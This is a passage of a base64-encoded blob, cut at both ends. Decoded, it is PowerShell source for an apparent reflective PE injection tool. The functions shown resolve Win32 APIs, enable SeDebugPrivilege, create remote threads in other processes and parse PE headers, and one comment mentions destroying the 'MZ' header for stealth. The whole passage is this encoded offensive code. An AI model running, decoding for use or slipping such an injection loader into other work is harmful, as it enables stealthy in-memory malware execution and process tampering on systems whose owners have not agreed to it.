R1YWwnLCAkUmV0dXJuVHlwZSwgJFBhcmFtZXRlcnMpDQoJICAgICRNZXRob2RCdWlsZGVyLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQ0KCSAgICANCgkgICAgV3JpdGUtT3V0cHV0ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgl9DQoNCg0KCSNGdW5jdGlvbiB3cml0dGVuIGJ5IE1hdHQgR3JhZWJlciwgVHdpdHRlcjogQG1hdHRpZmVzdGF0aW9uLCBCbG9nOiBodHRwOi8vd3d3LmV4cGxvaXQtbW9uZGF5LmNvbS8NCglGdW5jdGlvbiBHZXQtUHJvY0FkZHJlc3MNCgl7DQoJICAgIFBhcmFtDQoJICAgICgNCgkgICAgICAgIFtPdXRwdXRUeXBlKFtJbnRQdHJdKV0NCgkgICAgDQoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICRUcnVlICldDQoJICAgICAgICBbU3RyaW5nXQ0KCSAgICAgICAgJE1vZHVsZSwNCgkgICAgICAgIA0KCSAgICAgICAgW1BhcmFtZXRlciggUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkVHJ1ZSApXQ0KCSAgICAgICAgW1N0cmluZ10NCgkgICAgICAgICRQcm9jZWR1cmUNCgkgICAgKQ0KDQoJICAgICMgR2V0IGEgcmVmZXJlbmNlIHRvIFN5c3RlbS5kbGwgaW4gdGhlIEdBQw0KCSAgICAkU3lzdGVtQXNzZW1ibHkgPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfA0KCSAgICAgICAgV2hlcmUtT2JqZWN0IHsgJF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCdcXCcpWy0xXS5FcXVhbHMoJ1N5c3RlbS5kbGwnKSB9DQoJICAgICRVbnNhZmVOYXRpdmVNZXRob2RzID0gJFN5c3RlbUFzc2VtYmx5LkdldFR5cGUoJ01pY3Jvc29mdC5XaW4zMi5VbnNhZmVOYXRpdmVNZXRob2RzJykNCgkgICAgIyBHZXQgYSByZWZlcmVuY2UgdG8gdGhlIEdldE1vZHVsZUhhbmRsZSBhbmQgR2V0UHJvY0FkZHJlc3MgbWV0aG9kcw0KCSAgICAkR2V0TW9kdWxlSGFuZGxlID0gJFVuc2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKQ0KCSAgICAkR2V0UHJvY0FkZHJlc3MgPSAkVW5zYWZlTmF0aXZlTWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJykNCgkgICAgIyBHZXQgYSBoYW5kbGUgdG8gdGhlIG1vZHVsZSBzcGVjaWZpZWQNCgkgICAgJEtlcm4zMkhhbmRsZSA9ICRHZXRNb2R1bGVIYW5kbGUuSW52b2tlKCRudWxsLCBAKCRNb2R1bGUpKQ0KCSAgICAkdG1wUHRyID0gTmV3LU9iamVjdCBJbnRQdHINCgkgICAgJEhhbmRsZVJlZiA9IE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigkdG1wUHRyLCAkS2VybjMySGFuZGxlKQ0KDQoJICAgICMgUmV0dXJuIHRoZSBhZGRyZXNzIG9mIHRoZSBmdW5jdGlvbg0KCSAgICBXcml0ZS1PdXRwdXQgJEdldFByb2NBZGRyZXNzLkludm9rZSgkbnVsbCwgQChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZl0kSGFuZGxlUmVmLCAkUHJvY2VkdXJlKSkNCgl9DQoJDQoJDQoJRnVuY3Rpb24gRW5hYmxlLVNlRGVidWdQcml2aWxlZ2UNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyRnVuY3Rpb25zLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMlR5cGVzLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMkNvbnN0YW50cw0KCQkpDQoJCQ0KCQlbSW50UHRyXSRUaHJlYWRIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0Q3VycmVudFRocmVhZC5JbnZva2UoKQ0KCQlpZiAoJFRocmVhZEhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVRocm93ICJVbmFibGUgdG8gZ2V0IHRoZSBoYW5kbGUgdG8gdGhlIGN1cnJlbnQgdGhyZWFkIg0KCQl9DQoJCQ0KCQlbSW50UHRyXSRUaHJlYWRUb2tlbiA9IFtJbnRQdHJdOjpaZXJvDQoJCVtCb29sXSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhyZWFkSGFuZGxlLCAkV2luMzJDb25zdGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFudHMuVE9LRU5fQURKVVNUX1BSSVZJTEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pDQoJCWlmICgkUmVzdWx0IC1lcSAkZmFsc2UpDQoJCXsNCgkJCSRFcnJvckNvZGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXRMYXN0V2luMzJFcnJvcigpDQoJCQlpZiAoJEVycm9yQ29kZSAtZXEgJFdpbjMyQ29uc3RhbnRzLkVSUk9SX05PX1RPS0VOKQ0KCQkJew0KCQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuSW1wZXJzb25hdGVTZWxmLkludm9rZSgzKQ0KCQkJCWlmICgkUmVzdWx0IC1lcSAkZmFsc2UpDQoJCQkJew0KCQkJCQlUaHJvdyAiVW5hYmxlIHRvIGltcGVyc29uYXRlIHNlbGYiDQoJCQkJfQ0KCQkJCQ0KCQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhyZWFkSGFuZGxlLCAkV2luMzJDb25zdGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFudHMuVE9LRU5fQURKVVNUX1BSSVZJTEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pDQoJCQkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkNCgkJCQl7DQoJCQkJCVRocm93ICJVbmFibGUgdG8gT3BlblRocmVhZFRva2VuLiINCgkJCQl9DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJVGhyb3cgIlVuYWJsZSB0byBPcGVuVGhyZWFkVG9rZW4uIEVycm9yIGNvZGU6ICRFcnJvckNvZGUiDQoJCQl9DQoJCX0NCgkJDQoJCVtJbnRQdHJdJFBMdWlkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5MVUlEKSkNCgkJJFJlc3VsdCA9ICRXaW4zMkZ1bmN0aW9ucy5Mb29rdXBQcml2aWxlZ2VWYWx1ZS5JbnZva2UoJG51bGwsICJTZURlYnVnUHJpdmlsZWdlIiwgJFBMdWlkKQ0KCQlpZiAoJFJlc3VsdCAtZXEgJGZhbHNlKQ0KCQl7DQoJCQlUaHJvdyAiVW5hYmxlIHRvIGNhbGwgTG9va3VwUHJpdmlsZWdlVmFsdWUiDQoJCX0NCg0KCQlbVUludDMyXSRUb2tlblByaXZTaXplID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLlRPS0VOX1BSSVZJTEVHRVMpDQoJCVtJbnRQdHJdJFRva2VuUHJpdmlsZWdlc01lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkVG9rZW5Qcml2U2l6ZSkNCgkJJFRva2VuUHJpdmlsZWdlcyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRUb2tlblByaXZpbGVnZXNNZW0sIFtUeXBlXSRXaW4zMlR5cGVzLlRPS0VOX1BSSVZJTEVHRVMpDQoJCSRUb2tlblByaXZpbGVnZXMuUHJpdmlsZWdlQ291bnQgPSAxDQoJCSRUb2tlblByaXZpbGVnZXMuUHJpdmlsZWdlcy5MdWlkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFBMdWlkLCBbVHlwZV0kV2luMzJUeXBlcy5MVUlEKQ0KCQkkVG9rZW5Qcml2aWxlZ2VzLlByaXZpbGVnZXMuQXR0cmlidXRlcyA9ICRXaW4zMkNvbnN0YW50cy5TRV9QUklWSUxFR0VfRU5BQkxFRA0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkVG9rZW5Qcml2aWxlZ2VzLCAkVG9rZW5Qcml2aWxlZ2VzTWVtLCAkdHJ1ZSkNCg0KCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLkFkanVzdFRva2VuUHJpdmlsZWdlcy5JbnZva2UoJFRocmVhZFRva2VuLCAkZmFsc2UsICRUb2tlblByaXZpbGVnZXNNZW0sICRUb2tlblByaXZTaXplLCBbSW50UHRyXTo6WmVybywgW0ludFB0cl06Olplcm8pDQoJCSRFcnJvckNvZGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXRMYXN0V2luMzJFcnJvcigpICNOZWVkIHRoaXMgdG8gZ2V0IHN1Y2Nlc3MgdmFsdWUgb3IgZmFpbHVyZSB2YWx1ZQ0KCQlpZiAoKCRSZXN1bHQgLWVxICRmYWxzZSkgLW9yICgkRXJyb3JDb2RlIC1uZSAwKSkNCgkJew0KCQkJI1Rocm93ICJVbmFibGUgdG8gY2FsbCBBZGp1c3RUb2tlblByaXZpbGVnZXMuIFJldHVybiB2YWx1ZTogJFJlc3VsdCwgRXJyb3Jjb2RlOiAkRXJyb3JDb2RlIiAgICN0b2RvIG5lZWQgdG8gZGV0ZWN0IGlmIGFscmVhZHkgc2V0DQoJCX0NCgkJDQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkZyZWVIR2xvYmFsKCRUb2tlblByaXZpbGVnZXNNZW0pDQoJfQ0KCQ0KCQ0KCUZ1bmN0aW9uIEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50UHRyXQ0KCQkkUHJvY2Vzc0hhbmRsZSwNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRTdGFydEFkZHJlc3MsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMywgTWFuZGF0b3J5ID0gJGZhbHNlKV0NCgkJW0ludFB0cl0NCgkJJEFyZ3VtZW50UHRyID0gW0ludFB0cl06Olplcm8sDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gNCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyRnVuY3Rpb25zDQoJCSkNCgkJDQoJCVtJbnRQdHJdJFJlbW90ZVRocmVhZEhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvDQoJCQ0KCQkkT1NWZXJzaW9uID0gW0Vudmlyb25tZW50XTo6T1NWZXJzaW9uLlZlcnNpb24NCgkJI1Zpc3RhIGFuZCBXaW43DQoJCWlmICgoJE9TVmVyc2lvbiAtZ2UgKE5ldy1PYmplY3QgJ1ZlcnNpb24nIDYsMCkpIC1hbmQgKCRPU1ZlcnNpb24gLWx0IChOZXctT2JqZWN0ICdWZXJzaW9uJyA2LDIpKSkNCgkJew0KCQkJV3JpdGUtVmVyYm9zZSAiV2luZG93cyBWaXN0YS83IGRldGVjdGVkLCB1c2luZyBOdENyZWF0ZVRocmVhZEV4LiBBZGRyZXNzIG9mIHRocmVhZDogJFN0YXJ0QWRkcmVzcyINCgkJCSRSZXRWYWw9ICRXaW4zMkZ1bmN0aW9ucy5OdENyZWF0ZVRocmVhZEV4Lkludm9rZShbUmVmXSRSZW1vdGVUaHJlYWRIYW5kbGUsIDB4MUZGRkZGLCBbSW50UHRyXTo6WmVybywgJFByb2Nlc3NIYW5kbGUsICRTdGFydEFkZHJlc3MsICRBcmd1bWVudFB0ciwgJGZhbHNlLCAwLCAweGZmZmYsIDB4ZmZmZiwgW0ludFB0cl06Olplcm8pDQoJCQkkTGFzdEVycm9yID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0TGFzdFdpbjMyRXJyb3IoKQ0KCQkJaWYgKCRSZW1vdGVUaHJlYWRIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQkJew0KCQkJCVRocm93ICJFcnJvciBpbiBOdENyZWF0ZVRocmVhZEV4LiBSZXR1cm4gdmFsdWU6ICRSZXRWYWwuIExhc3RFcnJvcjogJExhc3RFcnJvciINCgkJCX0NCgkJfQ0KCQkjWFAvV2luOA0KCQllbHNlDQoJCXsNCgkJCVdyaXRlLVZlcmJvc2UgIldpbmRvd3MgWFAvOCBkZXRlY3RlZCwgdXNpbmcgQ3JlYXRlUmVtb3RlVGhyZWFkLiBBZGRyZXNzIG9mIHRocmVhZDogJFN0YXJ0QWRkcmVzcyINCgkJCSRSZW1vdGVUaHJlYWRIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuQ3JlYXRlUmVtb3RlVGhyZWFkLkludm9rZSgkUHJvY2Vzc0hhbmRsZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdMHhGRkZGLCAkU3RhcnRBZGRyZXNzLCAkQXJndW1lbnRQdHIsIDAsIFtJbnRQdHJdOjpaZXJvKQ0KCQl9DQoJCQ0KCQlpZiAoJFJlbW90ZVRocmVhZEhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVdyaXRlLVZlcmJvc2UgIkVycm9yIGNyZWF0aW5nIHJlbW90ZSB0aHJlYWQsIHRocmVhZCBoYW5kbGUgaXMgbnVsbCINCgkJfQ0KCQkNCgkJcmV0dXJuICRSZW1vdGVUaHJlYWRIYW5kbGUNCgl9DQoNCgkNCg0KCUZ1bmN0aW9uIEdldC1JbWFnZU50SGVhZGVycw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRQRUhhbmRsZSwNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJUeXBlcw0KCQkpDQoJCQ0KCQkkTnRIZWFkZXJzSW5mbyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KCQkNCgkJI05vcm1hbGx5IHdvdWxkIHZhbGlkYXRlIERPU0hlYWRlciBoZXJlLCBidXQgd2UgZGlkIGl0IGJlZm9yZSB0aGlzIGZ1bmN0aW9uIHdhcyBjYWxsZWQgYW5kIHRoZW4gZGVzdHJveWVkICdNWicgZm9yIHNuZWFraW5lc3MNCgkJJGRvc0hlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRQRUhhbmRsZSwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRE9TX0hFQURFUikNCg0KCQkjR2V0IElNQUdFX05UX0hFQURFUlMNCgkJW0ludFB0cl0kTnRIZWFkZXJzUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVIYW5kbGUpIChbSW50NjRdW1VJbnQ2NF0kZG9zSGVhZGVyLmVfbGZhbmV3KSkNCgkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBOdEhlYWRlcnNQdHIgLVZhbHVlICROdEhlYWRlcnNQdHINCgkJJGltYWdlTnRIZWFkZXJzNjQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTnRIZWFkZXJzUHRyLCBbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFERVJTNjQpDQoJCQ0KCQkjTWFrZSBzdXJlIHRoZSBJTUFHRV9OVF9IRUFERVJTIGNoZWNrcyBvdXQuIElmIGl0IGRvZXNuJ3QsIHRoZSBkYXRhIHN0cnVjdHVyZSBpcyBpbnZhbGlkLiBUaGlzIHNob3VsZCBuZXZlciBoYXBwZW4uDQoJICAgIGlmICgkaW1hZ2VOdEhlYWRlcnM2NC5TaWduYXR1cmUgLW5lIDB4MDAwMDQ1NTApDQoJICAgIHsNCgkgICAgICAgIHRocm93ICJJbnZhbGlkIElNQUdFX05UX0hFQURFUiBzaWduYXR1cmUuIg0KCSAgICB9DQoJCQ0KCQlpZiAoJGltYWdlTnRIZWFkZXJzNjQuT3B0aW9uYWxIZWFkZXIuTWFnaWMgLWVxICdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycpDQoJCXsNCgkJCSROdEhlYWRlcnNJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVSUyAtVmFsdWUgJGltYWdlTnRIZWFkZXJzNjQNCgkJCSROdEhlYWRlcnNJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEU2NEJpdCAtVmFsdWUgJHRydWUNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRJbWFnZU50SGVhZGVyczMyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJE50SGVhZGVyc1B0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfTlRfSEVBREVSUzMyKQ0KCQkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTIC1WYWx1ZSAkaW1hZ2VOdEhlYWRlcnMzMg0KCQkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAkZmFsc2UNCgkJfQ0KCQkNCgkJcmV0dXJuICROdEhlYWRlcnNJbmZvDQoJfQ0KDQoNCgkjVGhpcyBmdW5jdGlvbiB3aWxsIGdldCB0aGUgaW5mb3JtYXRpb24gbmVlZGVkIHRvIGFsbG9jYXRlZCBzcGFjZSBpbiBtZW1vcnkgZm9yIHRoZSBQRQ0KCUZ1bmN0aW9uIEdldC1QRUJhc2ljSW5mbw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoIFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUgKV0NCgkJW0J5dGVbXV0NCgkJJFBFQnl0ZXMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyVHlwZXMNCgkJKQ0KCQkNCgkJJFBFSW5mbyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KCQkNCgkJI1dyaXRlIHRoZSBQRSB0byBtZW1vcnkgdGVtcG9yYXJpbHkgc28gSSBjYW4gZ2V0IGluZm9ybWF0aW9uIGZyb20gaXQuIFRoaXMgaXMgbm90IGl0J3MgZmluYWwgcmVzdGluZyBzcG90Lg0KCQlbSW50UHRyXSRVbm1hbmFnZWRQRUJ5dGVzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRQRUJ5dGVzLkxlbmd0aCkNCgkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkUEVCeXRlcywgMCwgJFVubWFuYWdlZFBFQnl0ZXMsICRQRUJ5dGVzLkxlbmd0aCkgfCBPdXQtTnVsbA0KCQkNCgkJI0dldCBOdEhlYWRlcnNJbmZvDQoJCSROdEhlYWRlcnNJbmZvID0gR2V0LUltYWdlTnRIZWFkZXJzIC1QRUhhbmRsZSAkVW5tYW5hZ2VkUEVCeXRlcyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcw0KCQkNCgkJI0J1aWxkIGEgc3RydWN0dXJlIHdpdGggdGhlIGluZm9ybWF0aW9uIHdoaWNoIHdpbGwgYmUgbmVlZGVkIGZvciBhbGxvY2F0aW5nIG1lbW9yeSBhbmQgd3JpdGluZyB0aGUgUEUgdG8gbWVtb3J5DQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAnUEU2NEJpdCcgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5QRTY0Qml0KQ0KCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ09yaWdpbmFsSW1hZ2VCYXNlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuSW1hZ2VCYXNlKQ0KCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6ZU9mSW1hZ2UpDQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAnU2l6ZU9mSGVhZGVycycgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLlNpemVPZkhlYWRlcnMpDQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAnRGxsQ2hhcmFjdGVyaXN0aWNzJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuRGxsQ2hhcmFjdGVyaXN0aWNzKQ0KCQkNCgkJI0ZyZWUgdGhlIG1lbW9yeSBhbGxvY2F0ZWQgYWJvdmUsIHRoaXMgaXNuJ3Qgd2hlcmUgd2UgYWxsb2NhdGUgdGhlIFBFIHRvIG1lbW9yeQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkVW5tYW5hZ2VkUEVCeXRlcykNCgkJDQoJCXJldHVybiAkUEVJbmZvDQoJfQ0KDQoNCgkjUEVJbmZvIG11c3QgY29udGFpbiB0aGUgZm9sbG93aW5nIE5vdGVQcm9wZXJ0aWVzOg0KCSMJUEVIYW5kbGU6IEFuIEludFB0ciB0byB0aGUgYWRkcmVzcyB0aGUgUEUgaXMgbG9hZGVkIHRvIGluIG1lbW9yeQ0KCUZ1bmN0aW9uIEdldC1QRURldGFpbGVkSW5mbw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoIFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50UHRyXQ0KCQkkUEVIYW5kbGUsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyVHlwZXMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyQ29uc3RhbnRzDQoJCSkNCgkJDQoJCWlmICgkUEVIYW5kbGUgLWVxICRudWxsIC1vciAkUEVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQl0aHJvdyAnUEVIYW5kbGUgaXMgbnVsbCBvciBJbnRQdHIuWmVybycNCgkJfQ0KCQkNCgkJJFBFSW5mbyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KCQkNCgkJI0dldCBOdEhlYWRlcnMgaW5mb3JtYXRpb24NCgkJJE50SGVhZGVyc0luZm8gPSBHZXQtSW1hZ2VOdEhlYWRlcnMgLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcw0KCQkNCgkJI0J1aWxkIHRoZSBQRUluZm8gb2JqZWN0DQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQRUhhbmRsZSAtVmFsdWUgJFBFSGFuZGxlDQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTIC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uSU1BR0VfTlRfSEVBREVSUykNCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE50SGVhZGVyc1B0ciAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLk50SGVhZGVyc1B0cikNCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFBFNjRCaXQgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5QRTY0Qml0KQ0KCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6ZU9mSW1hZ2UpDQoJCQ0KCQlpZiAoJFBFSW5mby5QRTY0Qml0IC1lcSAkdHJ1ZSkNCgkJew0KCQkJW0ludFB0cl0kU2VjdGlvbkhlYWRlclB0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5OdEhlYWRlcnNQdHIpIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfTlRfSEVBREVSUzY0KSkpDQoJCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU2VjdGlvbkhlYWRlclB0ciAtVmFsdWUgJFNlY3Rpb25IZWFkZXJQdHINCgkJfQ0KCQllbHNlDQoJCXsNCgkJCVtJbnRQdHJdJFNlY3Rpb25IZWFkZXJQdHIgPSBbSW50UHRyXShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uTnRIZWFkZXJzUHRyKSAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX05UX0hFQURFUlMzMikpKQ0KCQkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFNlY3Rpb25IZWFkZXJQdHIgLVZhbHVl